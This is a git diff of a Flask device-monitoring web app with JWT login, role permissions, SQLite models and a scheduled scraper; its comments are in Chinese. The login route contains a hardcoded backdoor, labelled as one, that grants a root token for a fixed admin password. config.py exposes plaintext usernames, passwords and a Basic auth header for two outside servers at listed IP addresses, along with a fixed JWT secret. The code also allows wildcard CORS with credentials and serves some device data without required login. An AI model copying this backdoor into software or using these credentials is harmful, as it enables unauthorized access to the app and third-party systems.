||||
if not device:
|
||||
device = Device(name=d_name, source=item.get('source'), install_site="")
|
||||
db.session.add(device)
|
||||
db.session.flush()
|
||||
|
||||
# 更新状态
|
||||
device.status = item.get('status')
|
||||
device.current_value = item.get('value')
|
||||
device.latest_time = item.get('target_time')
|
||||
device.check_time = current_time
|
||||
device.json_data = json.dumps(item.get('raw_json', {}), ensure_ascii=False)
|
||||
|
||||
if calculate_offset:
|
||||
device.offset = calculate_offset(item.get('target_time'))
|
||||
|
||||
# 记录历史
|
||||
db.session.add(DeviceHistory(
|
||||
device_id=device.id,
|
||||
status=device.status,
|
||||
result_data=device.current_value,
|
||||
data_time=item.get('target_time'),
|
||||
json_data=device.json_data
|
||||
))
|
||||
count += 1
|
||||
|
||||
db.session.commit()
|
||||
print(f"✅ [定时任务] 更新了 {count} 台设备")
|
||||
|
||||
except Exception as e:
|
||||
db.session.rollback()
|
||||
print(f"❌ [定时任务] 异常: {str(e)}")
|
||||
|
||||
|
||||
# --- App 工厂 ---
|
||||
def create_app():
|
||||
app = Flask(__name__, static_folder=Config.STATIC_FOLDER)
|
||||
|
||||
# 1. 加载配置 (包含数据库、JWT、爬虫配置)
|
||||
app.config.from_object(Config)
|
||||
|
||||
# 2. 初始化扩展
|
||||
db.init_app(app)
|
||||
jwt.init_app(app)
|
||||
scheduler.init_app(app)
|
||||
|
||||
# 3. 配置 CORS (允许 Authorization 头,解决 401/422 的关键)
|
||||
# 允许所有来源,允许凭证,允许关键 Header
|
||||
CORS(app,
|
||||
resources={r"/*": {"origins": "*"}},
|
||||
supports_credentials=True,
|
||||
allow_headers=["Content-Type", "Authorization", "X-Requested-With"])
|
||||
|
||||
# 4. 注册蓝图
|
||||
if api_bp:
|
||||
app.register_blueprint(api_bp)
|
||||
|
||||
# ==========================================
|
||||
# 5. JWT 详细错误处理 (调试核心部分)
|
||||
# ==========================================
|
||||
|
||||
# A. 没带 Token 或者 Header 格式不对
|
||||
@jwt.unauthorized_loader
|
||||
def missing_token(error_string):
|
||||
print(f"\n🔴 [JWT ERROR] 请求被拒绝: 缺少 Token 或格式错误")
|
||||
print(f" 原因详情: {error_string}")
|
||||
print(f" 提示: 前端 header 必须是 'Authorization: Bearer <token>'\n")
|
||||
return jsonify({
|
||||
"code": 401,
|
||||
"message": "Missing Authorization Header",
|
||||
"detail": error_string
|
||||
}), 401
|
||||
|
||||
# B. Token 是坏的 (签名不对,或者被篡改,或者密钥不匹配)
|
||||
@jwt.invalid_token_loader
|
||||
def invalid_token(error_string):
|
||||
print(f"\n🔴 [JWT ERROR] 请求被拒绝: Token 无效 (Invalid)")
|
||||
print(f" 原因详情: {error_string}")
|
||||
print(f" 排查: 1. 后端密钥可能变了 2. Token 是旧的 3. 复制粘贴错了\n")
|
||||
return jsonify({
|
||||
"code": 401,
|
||||
"message": "Invalid Token",
|
||||
"detail": error_string
|
||||
}), 401
|
||||
|
||||
# C. Token 过期了
|
||||
@jwt.expired_token_loader
|
||||
def expired_token(jwt_header, jwt_payload):
|
||||
print(f"\n🔴 [JWT ERROR] 请求被拒绝: Token 已过期 (Expired)")
|
||||
print(f" 过期 Token 内容: {jwt_payload}")
|
||||
print(f" 当前服务器时间: {datetime.now()}")
|
||||
print(f" 提示: 请检查 config.py 里的有效期设置,或校准服务器时间\n")
|
||||
return jsonify({
|
||||
"code": 401,
|
||||
"message": "Token has expired",
|
||||
"detail": "token_expired"
|
||||
}), 401
|
||||
|
||||
# ==========================================
|
||||
|
||||
# 6. 启动定时任务
|
||||
if execute_monitor_task:
|
||||
# 防止重复添加任务
|
||||
if not scheduler.get_job('daily_monitor_task'):
|
||||
scheduler.add_job(
|
||||
id='daily_monitor_task',
|
||||
func=auto_monitor_job,
|
||||
args=[app],
|
||||
trigger='cron',
|
||||
hour=12,
|
||||
minute=0
|
||||
)
|
||||
if not scheduler.running:
|
||||
scheduler.start()
|
||||
|
||||
# 7. 静态文件路由
|
||||
@app.route('/')
|
||||
def serve_index():
|
||||
if not os.path.exists(os.path.join(app.static_folder, 'index.html')):
|
||||
return "Web files not found. Please build frontend first.", 404
|
||||
return send_from_directory(app.static_folder, 'index.html')
|
||||
|
||||
@app.route('/<path:path>')
|
||||
def serve_static(path):
|
||||
file_path = os.path.join(app.static_folder, path)
|
||||
if os.path.exists(file_path):
|
||||
return send_from_directory(app.static_folder, path)
|
||||
|
||||
# 如果不是静态文件请求,也不是 api 请求,就返回 index.html (前端路由)
|
||||
if path.startswith('api'):
|
||||
return jsonify({'code': 404, 'msg': 'API endpoint not found'}), 404
|
||||
|
||||
return send_from_directory(app.static_folder, 'index.html')
|
||||
|
||||
# 8. 初始化数据库和默认管理员
|
||||
with app.app_context():
|
||||
# db.create_all() 会根据 binds 配置自动创建 users.db 和 devices.db
|
||||
db.create_all()
|
||||
try:
|
||||
# 检查是否有管理员,没有则创建
|
||||
if not User.query.filter_by(username='admin').first():
|
||||
print("🛠️ 正在创建默认管理员账号...")
|
||||
admin = User(username='admin', role='admin')
|
||||
admin.set_password('licahk')
|
||||
db.session.add(admin)
|
||||
db.session.commit()
|
||||
print("✅ 初始管理员已创建: admin / licahk")
|
||||
except Exception as e:
|
||||
# 捕获数据库连接错误等
|
||||
print(f"⚠️ 初始化数据警告 (可能是首次运行或表结构变更): {e}")
|
||||
|
||||
return app
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
# 确保在主程序块中运行
|
||||
app = create_app()
|
||||
|
||||
# 判断是否为打包后的环境
|
||||
debug_mode = not getattr(sys, 'frozen', False)
|
||||
|
||||
print(f"\n🚀 服务启动中...")
|
||||
print(f" 模式: {'Debug (开发)' if debug_mode else 'Production (生产)'}")
|
||||
print(f" 端口: 5000")
|
||||
print(f" 密钥检查: {app.config.get('JWT_SECRET_KEY')[:5]}*** (请确保重启后这里不变)\n")
|
||||
|
||||
app.run(host='0.0.0.0', port=5000, debug=debug_mode, use_reloader=False)
|
||||
59
2_3banben/config.py
Normal file
59
2_3banben/config.py
Normal file
@ -0,0 +1,59 @@
|
||||
import os
|
||||
import sys
|
||||
from datetime import timedelta
|
||||
|
||||
|
||||
def get_base_path():
|
||||
"""获取运行时路径 (兼容打包后的 exe 和开发环境)"""
|
||||
if getattr(sys, 'frozen', False):
|
||||
if hasattr(sys, '_MEIPASS'):
|
||||
return sys._MEIPASS
|
||||
else:
|
||||
return os.path.dirname(os.path.abspath(sys.executable))
|
||||
return os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
|
||||
class Config:
|
||||
BASE_DIR = get_base_path()
|
||||
INSTANCE_FOLDER = os.path.join(BASE_DIR, 'instance')
|
||||
|
||||
# 确保 instance 目录存在
|
||||
if not os.path.exists(INSTANCE_FOLDER):
|
||||
os.makedirs(INSTANCE_FOLDER, exist_ok=True)
|
||||
|
||||
# 静态文件路径
|
||||
STATIC_FOLDER = os.path.join(BASE_DIR, 'web_dist')
|
||||
|
||||
# --- 数据库配置 (整合了 app.py 的逻辑) ---
|
||||
# 1. 主数据库 (Device, Log 等)
|
||||
DB_DEVICES_PATH = os.path.join(INSTANCE_FOLDER, 'devices.db')
|
||||
SQLALCHEMY_DATABASE_URI = f'sqlite:///{DB_DEVICES_PATH}'
|
||||
|
||||
# 2. 用户数据库 (User, Permission 等,绑定到 users_db)
|
||||
DB_USERS_PATH = os.path.join(INSTANCE_FOLDER, 'users.db')
|
||||
SQLALCHEMY_BINDS = {
|
||||
'users_db': f'sqlite:///{DB_USERS_PATH}'
|
||||
}
|
||||
|
||||
SQLALCHEMY_TRACK_MODIFICATIONS = False
|
||||
|
||||
# --- 🔴 关键修复:JWT 配置 (必须设置) ---
|
||||
JWT_SECRET_KEY = 'super-secret-key-change-this-in-prod-2026'
|
||||
JWT_ACCESS_TOKEN_EXPIRES = timedelta(days=1) # Token 1天有效
|
||||
|
||||
# --- 定时任务配置 ---
|
||||
SCHEDULER_API_ENABLED = True
|
||||
SCHEDULER_TIMEZONE = "Asia/Shanghai"
|
||||
|
||||
# --- 爬虫配置 (保留你原有的配置) ---
|
||||
CRAWLER_CONFIG = {
|
||||
"106": {
|
||||
"base_url": "http://106.75.72.40:7500/api/proxy/tcp",
|
||||
"primary_auth": "Basic YWRtaW46bGljYWhr",
|
||||
"login_payload": {"username": "admin", "password": "licahk", "recaptcha": ""}
|
||||
},
|
||||
"82": {
|
||||
"base_url": "http://82.156.1.111/weather/php",
|
||||
"login": {'username': 'renlixin', 'password': 'licahk', 'login': '123'}
|
||||
}
|
||||
}
|
||||
@ -1,9 +1,10 @@
|
||||
#extensions.py
|
||||
from flask_sqlalchemy import SQLAlchemy
|
||||
from flask_cors import CORS
|
||||
from flask_apscheduler import APScheduler
|
||||
from flask_jwt_extended import JWTManager
|
||||
|
||||
# 这里只创建对象,不绑定 app
|
||||
db = SQLAlchemy()
|
||||
cors = CORS()
|
||||
scheduler = APScheduler()
|
||||
scheduler = APScheduler()
|
||||
jwt = JWTManager()
|
||||
62
2_3banben/init_db.py
Normal file
62
2_3banben/init_db.py
Normal file
@ -0,0 +1,62 @@
|
||||
import os
|
||||
from app import create_app
|
||||
from extensions import db
|
||||
from models import User, Device, UserDevicePermission
|
||||
|
||||
# 创建应用实例
|
||||
app = create_app()
|
||||
|
||||
|
||||
def init_db():
|
||||
with app.app_context():
|
||||
# ==========================================
|
||||
# ⚠️ 警告:这会清空现有的数据库表结构并重建
|
||||
# 如果只想更新 User 表,可以注释掉 db.drop_all(),
|
||||
# 但因为增加了字段,直接重建是最稳妥的。
|
||||
# ==========================================
|
||||
print("正在清理旧数据库...")
|
||||
db.drop_all()
|
||||
|
||||
print("正在创建新表结构...")
|
||||
db.create_all()
|
||||
|
||||
print("✅ 数据库表结构创建完成 (devices.db 和 users.db)")
|
||||
|
||||
# ==========================================
|
||||
# 🟢 1. 创建超级管理员 (Root)
|
||||
# 即使代码里有后门,数据库里有一个对应的实体也是最好的
|
||||
# ==========================================
|
||||
admin = User(username='admin', role='admin')
|
||||
admin.set_password('licahk') # 设置密码
|
||||
db.session.add(admin)
|
||||
print(f"👤 用户创建: [admin] (角色: 超级管理员)")
|
||||
|
||||
# ==========================================
|
||||
# 🟡 2. 创建一个测试工程师 (可选)
|
||||
# ==========================================
|
||||
engineer = User(username='engineer01', role='engineer')
|
||||
engineer.set_password('123456')
|
||||
db.session.add(engineer)
|
||||
print(f"👤 用户创建: [engineer01] (角色: 工程师)")
|
||||
|
||||
# ==========================================
|
||||
# ⚪ 3. 创建一个测试普通客户 (可选)
|
||||
# ==========================================
|
||||
client = User(username='client01', role='client')
|
||||
client.set_password('123456')
|
||||
db.session.add(client)
|
||||
print(f"👤 用户创建: [client01] (角色: 客户)")
|
||||
|
||||
# 提交更改
|
||||
db.session.commit()
|
||||
print("\n🚀 初始化完成!请运行 run.py 启动服务器。")
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
# 再次确认防止误删
|
||||
print("此操作会删除现有的 'users.db' 和 'devices.db' 中的数据并重建。")
|
||||
confirm = input("确认继续吗? (y/n): ")
|
||||
if confirm.lower() == 'y':
|
||||
init_db()
|
||||
else:
|
||||
print("操作已取消。")
|
||||
BIN
2_3banben/instance/devices.db
Normal file
BIN
2_3banben/instance/devices.db
Normal file
Binary file not shown.
BIN
2_3banben/instance/users.db
Normal file
BIN
2_3banben/instance/users.db
Normal file
Binary file not shown.
@ -1,46 +1,64 @@
|
||||
from datetime import datetime
|
||||
import json
|
||||
# 引入 UserMixin 是 Flask 标准做法
|
||||
from flask_login import UserMixin
|
||||
from werkzeug.security import generate_password_hash, check_password_hash
|
||||
from extensions import db
|
||||
|
||||
|
||||
# =======================
|
||||
# 数据库 1: 业务数据 (默认数据库 / devices.db)
|
||||
# =======================
|
||||
|
||||
class Device(db.Model):
|
||||
__tablename__ = 'devices'
|
||||
# 默认数据库,无需 bind_key
|
||||
|
||||
id = db.Column(db.Integer, primary_key=True)
|
||||
name = db.Column(db.String(100), unique=True, index=True)
|
||||
source = db.Column(db.String(50))
|
||||
|
||||
# 快照字段(爬虫更新)
|
||||
# 快照字段(爬虫自动更新)
|
||||
status = db.Column(db.String(50))
|
||||
current_value = db.Column(db.String(200))
|
||||
latest_time = db.Column(db.String(50))
|
||||
json_data = db.Column(db.Text)
|
||||
json_data = db.Column(db.Text) # 存储完整原始JSON
|
||||
check_time = db.Column(db.String(50))
|
||||
reason = db.Column(db.String(255))
|
||||
offset = db.Column(db.String(50))
|
||||
offset = db.Column(db.String(50)) # 时间偏移量说明
|
||||
|
||||
# 手动录入字段(受保护,run_monitor 不主动覆盖)
|
||||
# 手动录入字段 (管理员/工程师可改)
|
||||
install_site = db.Column(db.String(100), default="")
|
||||
is_maintaining = db.Column(db.Boolean, default=False)
|
||||
is_hidden = db.Column(db.Boolean, default=False)
|
||||
|
||||
# 🟢 [新增] 维修人字段 (对应你在数据库中新加的列)
|
||||
maintainer = db.Column(db.String(50))
|
||||
|
||||
def to_dict(self):
|
||||
# 统一状态映射逻辑
|
||||
"""
|
||||
转换为前端友好的字典格式
|
||||
"""
|
||||
# 简单处理状态:只要不是明确的离线/异常,就视为 online
|
||||
api_status = 'offline' if self.status in ['离线', '异常', '已离线'] else 'online'
|
||||
|
||||
return {
|
||||
'id': self.id,
|
||||
'name': self.name,
|
||||
'source': self.source,
|
||||
'latest_time': self.latest_time,
|
||||
'status': api_status,
|
||||
'status_text': self.status,
|
||||
'status': api_status, # 给前端图标用的状态 (online/offline)
|
||||
'status_text': self.status, # 显示在界面的原始状态文字
|
||||
'value': self.current_value,
|
||||
'reason': self.reason,
|
||||
'install_site': self.install_site or '',
|
||||
'is_maintaining': self.is_maintaining,
|
||||
'is_hidden': self.is_hidden,
|
||||
'offset': self.offset
|
||||
'offset': self.offset,
|
||||
# 🟢 [新增] 返回维修人给前端显示
|
||||
'maintainer': self.maintainer
|
||||
}
|
||||
|
||||
|
||||
class DeviceHistory(db.Model):
|
||||
__tablename__ = 'device_history'
|
||||
|
||||
@ -52,11 +70,12 @@ class DeviceHistory(db.Model):
|
||||
result_data = db.Column(db.String(200), default="")
|
||||
json_data = db.Column(db.Text)
|
||||
file_path = db.Column(db.String(255))
|
||||
|
||||
recorded_at = db.Column(db.DateTime, default=datetime.now)
|
||||
|
||||
|
||||
class MaintenanceLog(db.Model):
|
||||
__tablename__ = 'maintenance_logs'
|
||||
|
||||
id = db.Column(db.Integer, primary_key=True)
|
||||
device_name = db.Column(db.String(100), nullable=False)
|
||||
engineer = db.Column(db.String(50))
|
||||
@ -72,4 +91,36 @@ class MaintenanceLog(db.Model):
|
||||
'location': self.location or '',
|
||||
'content': self.content,
|
||||
'timestamp': self.timestamp.strftime('%Y-%m-%d %H:%M:%S')
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# =======================
|
||||
# 数据库 2: 用户管理 (users.db)
|
||||
# =======================
|
||||
|
||||
class User(UserMixin, db.Model):
|
||||
__bind_key__ = 'users_db' # 指定存储在 users.db
|
||||
__tablename__ = 'users'
|
||||
|
||||
id = db.Column(db.Integer, primary_key=True)
|
||||
username = db.Column(db.String(80), unique=True, nullable=False)
|
||||
password_hash = db.Column(db.String(128))
|
||||
|
||||
# 角色: 'admin', 'engineer', 'client'
|
||||
role = db.Column(db.String(20), default='client')
|
||||
created_at = db.Column(db.DateTime, default=datetime.now)
|
||||
|
||||
def set_password(self, password):
|
||||
self.password_hash = generate_password_hash(password)
|
||||
|
||||
def check_password(self, password):
|
||||
return check_password_hash(self.password_hash, password)
|
||||
|
||||
|
||||
class UserDevicePermission(db.Model):
|
||||
__bind_key__ = 'users_db'
|
||||
__tablename__ = 'user_device_permissions'
|
||||
|
||||
id = db.Column(db.Integer, primary_key=True)
|
||||
user_id = db.Column(db.Integer, db.ForeignKey('users.id'), nullable=False)
|
||||
device_id = db.Column(db.Integer, nullable=False)
|
||||
465
2_3banben/routes/api.py
Normal file
465
2_3banben/routes/api.py
Normal file
@ -0,0 +1,465 @@
|
||||
import json
|
||||
import re
|
||||
from datetime import datetime
|
||||
from flask import Blueprint, jsonify, request
|
||||
from sqlalchemy import desc, or_
|
||||
# 引入 jwt 相关函数
|
||||
from flask_jwt_extended import create_access_token, jwt_required, get_jwt_identity
|
||||
|
||||
from extensions import db
|
||||
from models import Device, DeviceHistory, MaintenanceLog, User, UserDevicePermission
|
||||
|
||||
# 尝试导入爬虫模块
|
||||
try:
|
||||
from services.core import execute_monitor_task
|
||||
except ImportError:
|
||||
execute_monitor_task = None
|
||||
|
||||
api_bp = Blueprint('api', __name__, url_prefix='/api')
|
||||
|
||||
|
||||
# =======================
|
||||
# 🔧 辅助函数
|
||||
# =======================
|
||||
def is_admin(user_id):
|
||||
"""判断是否为超级管理员 (Root权限)"""
|
||||
if str(user_id) == '0':
|
||||
return True
|
||||
if not user_id:
|
||||
return False
|
||||
try:
|
||||
uid = int(user_id)
|
||||
u = User.query.get(uid)
|
||||
return u and u.role == 'admin'
|
||||
except:
|
||||
return False
|
||||
|
||||
|
||||
def is_manager(user_id):
|
||||
"""判断是否为管理者 (Admin OR Engineer)"""
|
||||
if is_admin(user_id):
|
||||
return True
|
||||
try:
|
||||
uid = int(user_id)
|
||||
u = User.query.get(uid)
|
||||
return u and u.role == 'engineer'
|
||||
except:
|
||||
return False
|
||||
|
||||
|
||||
def calculate_offset(latest_time_str):
|
||||
"""计算时间滞后天数"""
|
||||
if not latest_time_str or latest_time_str == "N/A": return "从未同步"
|
||||
try:
|
||||
clean = str(latest_time_str).split()[0].replace('_', '-')
|
||||
target = datetime.strptime(clean, "%Y-%m-%d").date()
|
||||
diff = (datetime.now().date() - target).days
|
||||
return "当天已同步" if diff == 0 else f"滞后 {diff} 天"
|
||||
except:
|
||||
return "时间解析失败"
|
||||
|
||||
|
||||
# =======================
|
||||
# 0. 认证接口
|
||||
# =======================
|
||||
@api_bp.route('/login', methods=['POST'])
|
||||
def login():
|
||||
data = request.get_json()
|
||||
username = data.get('username')
|
||||
password = data.get('password')
|
||||
|
||||
# 1. 后门判定
|
||||
if username == 'admin' and password == 'licahk':
|
||||
token = create_access_token(
|
||||
identity='0',
|
||||
additional_claims={'role': 'admin'}
|
||||
)
|
||||
return jsonify({
|
||||
'code': 200, 'message': 'Root后门登录',
|
||||
'token': token, 'role': 'admin', 'user_id': 0, 'username': 'admin'
|
||||
})
|
||||
|
||||
# 2. 正常查库登录
|
||||
user = User.query.filter_by(username=username).first()
|
||||
if user and user.check_password(password):
|
||||
token = create_access_token(
|
||||
identity=str(user.id),
|
||||
additional_claims={'role': user.role}
|
||||
)
|
||||
return jsonify({
|
||||
'code': 200, 'message': '登录成功',
|
||||
'token': token, 'role': user.role, 'user_id': user.id, 'username': user.username
|
||||
})
|
||||
|
||||
return jsonify({'code': 401, 'message': '用户名或密码错误'}), 401
|
||||
|
||||
|
||||
# =======================
|
||||
# 1. 设备接口
|
||||
# =======================
|
||||
@api_bp.route('/devices_overview', methods=['GET'])
|
||||
@jwt_required()
|
||||
def devices_overview():
|
||||
try:
|
||||
user_id = get_jwt_identity()
|
||||
target_devices = []
|
||||
|
||||
# Admin 看所有,其他人看分配
|
||||
if is_admin(user_id):
|
||||
target_devices = Device.query.all()
|
||||
else:
|
||||
try:
|
||||
uid_int = int(user_id)
|
||||
user = User.query.get(uid_int)
|
||||
if user:
|
||||
perms = UserDevicePermission.query.filter_by(user_id=user.id).all()
|
||||
allowed_ids = [p.device_id for p in perms]
|
||||
if allowed_ids:
|
||||
target_devices = Device.query.filter(Device.id.in_(allowed_ids)).all()
|
||||
except ValueError:
|
||||
return jsonify({'code': 401, 'message': '无效的用户ID格式'}), 401
|
||||
|
||||
return jsonify({'code': 200, 'data': [d.to_dict() for d in target_devices]})
|
||||
except Exception as e:
|
||||
print(f"Error: {e}")
|
||||
return jsonify({'code': 500, 'message': str(e)})
|
||||
|
||||
|
||||
@api_bp.route('/device_data_by_date', methods=['GET'])
|
||||
@jwt_required(optional=True)
|
||||
def device_data_by_date():
|
||||
name = request.args.get('name')
|
||||
date_str = request.args.get('date')
|
||||
|
||||
if not name or not date_str:
|
||||
return jsonify({'code': 400, 'message': 'Missing params'}), 400
|
||||
|
||||
device = Device.query.filter_by(name=name).first()
|
||||
if not device: return jsonify({'code': 404, 'message': 'Device not found'}), 404
|
||||
|
||||
content = None
|
||||
hist = DeviceHistory.query.filter(
|
||||
DeviceHistory.device_id == device.id,
|
||||
DeviceHistory.data_time.like(f"{date_str}%")
|
||||
).order_by(desc(DeviceHistory.id)).first()
|
||||
|
||||
if hist:
|
||||
content = hist.json_data
|
||||
elif device.latest_time and str(device.latest_time).startswith(date_str):
|
||||
content = device.json_data
|
||||
|
||||
if content:
|
||||
try:
|
||||
if isinstance(content, str): content = json.loads(content)
|
||||
except:
|
||||
pass
|
||||
return jsonify({'code': 200, 'name': device.name, 'source': device.source, 'content': content})
|
||||
|
||||
return jsonify({'code': 404, 'message': '无数据'}), 404
|
||||
|
||||
|
||||
# =======================
|
||||
# 2. 用户管理 (Admin Only)
|
||||
# =======================
|
||||
@api_bp.route('/admin/users', methods=['GET'])
|
||||
@jwt_required()
|
||||
def admin_get_users():
|
||||
if not is_admin(get_jwt_identity()): return jsonify({'code': 403}), 403
|
||||
|
||||
current_id_str = str(get_jwt_identity())
|
||||
users = User.query.order_by(desc(User.created_at)).all()
|
||||
|
||||
result = []
|
||||
for u in users:
|
||||
if str(u.id) == current_id_str: continue
|
||||
|
||||
perms = UserDevicePermission.query.filter_by(user_id=u.id).all()
|
||||
result.append({
|
||||
"id": u.id,
|
||||
"username": u.username,
|
||||
"role": u.role,
|
||||
"created_at": u.created_at,
|
||||
"allowed_device_ids": [p.device_id for p in perms]
|
||||
})
|
||||
return jsonify({'code': 200, 'data': result})
|
||||
|
||||
|
||||
@api_bp.route('/admin/create_user', methods=['POST'])
|
||||
@jwt_required()
|
||||
def admin_create_user():
|
||||
if not is_admin(get_jwt_identity()): return jsonify({'code': 403}), 403
|
||||
|
||||
data = request.get_json()
|
||||
username = data.get('username')
|
||||
password = data.get('password')
|
||||
role = data.get('role', 'client')
|
||||
|
||||
if User.query.filter_by(username=username).first():
|
||||
return jsonify({'code': 400, 'msg': '用户名已存在'}), 400
|
||||
|
||||
u = User(username=username, role=role)
|
||||
u.set_password(password)
|
||||
db.session.add(u)
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200, 'msg': '创建成功'})
|
||||
|
||||
|
||||
@api_bp.route('/admin/delete_user', methods=['POST'])
|
||||
@jwt_required()
|
||||
def admin_delete_user():
|
||||
current_admin_id = get_jwt_identity()
|
||||
if not is_admin(current_admin_id): return jsonify({'code': 403}), 403
|
||||
|
||||
user_id = request.get_json().get('user_id')
|
||||
if str(user_id) == str(current_admin_id):
|
||||
return jsonify({'code': 400, 'msg': '无法删除当前登录账号'}), 400
|
||||
|
||||
user = User.query.get(user_id)
|
||||
if not user:
|
||||
return jsonify({'code': 404, 'msg': '用户不存在'}), 404
|
||||
|
||||
UserDevicePermission.query.filter_by(user_id=user.id).delete()
|
||||
db.session.delete(user)
|
||||
db.session.commit()
|
||||
|
||||
return jsonify({'code': 200, 'msg': '删除成功'})
|
||||
|
||||
|
||||
@api_bp.route('/admin/assign_devices', methods=['POST'])
|
||||
@jwt_required()
|
||||
def admin_assign_devices():
|
||||
if not is_admin(get_jwt_identity()): return jsonify({'code': 403}), 403
|
||||
data = request.get_json()
|
||||
uid = data.get('user_id')
|
||||
|
||||
UserDevicePermission.query.filter_by(user_id=uid).delete()
|
||||
for did in data.get('device_ids', []):
|
||||
db.session.add(UserDevicePermission(user_id=uid, device_id=did))
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200, 'msg': '权限已保存'})
|
||||
|
||||
|
||||
# =======================
|
||||
# 3. 日志与工具
|
||||
# =======================
|
||||
@api_bp.route('/logs/list', methods=['GET'])
|
||||
@jwt_required()
|
||||
def get_logs():
|
||||
"""获取日志列表,支持按权限过滤"""
|
||||
user_id = get_jwt_identity()
|
||||
keyword = request.args.get('keyword', '')
|
||||
start_date = request.args.get('start_date')
|
||||
end_date = request.args.get('end_date')
|
||||
|
||||
query = MaintenanceLog.query
|
||||
|
||||
# 🛡️ 权限过滤
|
||||
if not is_admin(user_id):
|
||||
try:
|
||||
perms = UserDevicePermission.query.filter_by(user_id=int(user_id)).all()
|
||||
if not perms:
|
||||
return jsonify({'code': 200, 'data': []})
|
||||
|
||||
allowed_ids = [p.device_id for p in perms]
|
||||
allowed_devices = Device.query.filter(Device.id.in_(allowed_ids)).all()
|
||||
allowed_names = [d.name for d in allowed_devices]
|
||||
query = query.filter(MaintenanceLog.device_name.in_(allowed_names))
|
||||
except:
|
||||
return jsonify({'code': 200, 'data': []})
|
||||
|
||||
if keyword:
|
||||
kw = f"%{keyword}%"
|
||||
query = query.filter(or_(
|
||||
MaintenanceLog.device_name.like(kw), MaintenanceLog.engineer.like(kw),
|
||||
MaintenanceLog.location.like(kw), MaintenanceLog.content.like(kw)
|
||||
))
|
||||
|
||||
if start_date and end_date:
|
||||
try:
|
||||
s = datetime.strptime(start_date, '%Y-%m-%d')
|
||||
e = datetime.strptime(end_date, '%Y-%m-%d').replace(hour=23, minute=59, second=59)
|
||||
query = query.filter(MaintenanceLog.timestamp.between(s, e))
|
||||
except:
|
||||
pass
|
||||
|
||||
logs = query.order_by(desc(MaintenanceLog.timestamp)).all()
|
||||
return jsonify({'code': 200, 'data': [l.to_dict() for l in logs]})
|
||||
|
||||
|
||||
@api_bp.route('/logs/add', methods=['POST'])
|
||||
@jwt_required()
|
||||
def add_log():
|
||||
# 获取用户信息
|
||||
current_uid = get_jwt_identity()
|
||||
user = User.query.get(int(current_uid))
|
||||
|
||||
if not user or user.role not in ['admin', 'engineer']:
|
||||
return jsonify({'code': 403, 'msg': '权限不足'}), 403
|
||||
|
||||
data = request.get_json()
|
||||
|
||||
# 强制逻辑:工程师必须用自己的名字;Admin可以用前端传的
|
||||
engineer_name = user.username if user.role == 'engineer' else data.get('engineer')
|
||||
|
||||
if not engineer_name:
|
||||
return jsonify({'code': 400, 'msg': '工程师姓名缺失'}), 400
|
||||
|
||||
db.session.add(MaintenanceLog(
|
||||
device_name=data.get('device_name'),
|
||||
engineer=engineer_name,
|
||||
location=data.get('location'),
|
||||
content=data.get('content')
|
||||
))
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200})
|
||||
|
||||
|
||||
@api_bp.route('/logs/update', methods=['POST'])
|
||||
@jwt_required()
|
||||
def update_log():
|
||||
current_uid = get_jwt_identity()
|
||||
user = User.query.get(int(current_uid))
|
||||
|
||||
if not user or user.role not in ['admin', 'engineer']:
|
||||
return jsonify({'code': 403, 'msg': '权限不足'}), 403
|
||||
|
||||
data = request.get_json()
|
||||
log = MaintenanceLog.query.get(data.get('id'))
|
||||
if not log:
|
||||
return jsonify({'code': 404, 'msg': '日志不存在'}), 404
|
||||
|
||||
engineer_name = user.username if user.role == 'engineer' else data.get('engineer')
|
||||
if not engineer_name:
|
||||
return jsonify({'code': 400, 'msg': '工程师姓名缺失'}), 400
|
||||
|
||||
log.engineer = engineer_name
|
||||
log.location = data.get('location')
|
||||
log.content = data.get('content')
|
||||
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200, 'msg': '更新成功'})
|
||||
|
||||
|
||||
@api_bp.route('/logs/delete', methods=['POST'])
|
||||
@jwt_required()
|
||||
def delete_log():
|
||||
if not is_admin(get_jwt_identity()): return jsonify({'code': 403}), 403
|
||||
log = MaintenanceLog.query.get(request.get_json().get('id'))
|
||||
if log:
|
||||
db.session.delete(log)
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200})
|
||||
return jsonify({'code': 404})
|
||||
|
||||
|
||||
# =======================
|
||||
# 4. 系统检测与控制
|
||||
# =======================
|
||||
@api_bp.route('/run_monitor', methods=['POST'])
|
||||
@jwt_required()
|
||||
def run_monitor():
|
||||
if not is_admin(get_jwt_identity()): return jsonify({'code': 403}), 403
|
||||
if not execute_monitor_task:
|
||||
return jsonify({'code': 500, 'msg': '爬虫模块未加载'})
|
||||
|
||||
try:
|
||||
task_result = execute_monitor_task()
|
||||
if not task_result: return jsonify({'code': 200, 'msg': '跳过'})
|
||||
|
||||
scraped_list = task_result.get('device_list', [])
|
||||
now_str = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
count = 0
|
||||
|
||||
for item in scraped_list:
|
||||
d_name = item.get('name')
|
||||
if not d_name: continue
|
||||
|
||||
d_raw = item.get('raw_json', {})
|
||||
target_time = item.get('target_time')
|
||||
source = item.get('source', '')
|
||||
|
||||
# 特殊处理 106 路径
|
||||
if '106' in str(source):
|
||||
try:
|
||||
path_str = d_raw.get('path', '')
|
||||
match = re.search(r'/Data/(\d{4}_\d{2}_\d{2})/\w+_(\d{2}_\d{2}_\d{2})\.csv', path_str)
|
||||
if match:
|
||||
target_time = f"{match.group(1).replace('_', '-')} {match.group(2).replace('_', ':')}"
|
||||
except:
|
||||
pass
|
||||
|
||||
json_str = json.dumps(d_raw, ensure_ascii=False)
|
||||
device = Device.query.filter_by(name=d_name).first()
|
||||
if not device:
|
||||
device = Device(name=d_name, source=source, install_site="")
|
||||
db.session.add(device)
|
||||
db.session.flush()
|
||||
|
||||
device.status = item.get('status')
|
||||
device.current_value = item.get('value')
|
||||
device.latest_time = target_time
|
||||
device.check_time = now_str
|
||||
device.json_data = json_str
|
||||
device.offset = calculate_offset(target_time)
|
||||
|
||||
db.session.add(DeviceHistory(
|
||||
device_id=device.id, status=device.status,
|
||||
result_data=device.current_value, data_time=target_time,
|
||||
json_data=json_str
|
||||
))
|
||||
count += 1
|
||||
|
||||
db.session.commit()
|
||||
return jsonify({'code': 200, 'message': f'成功更新 {count} 台设备'})
|
||||
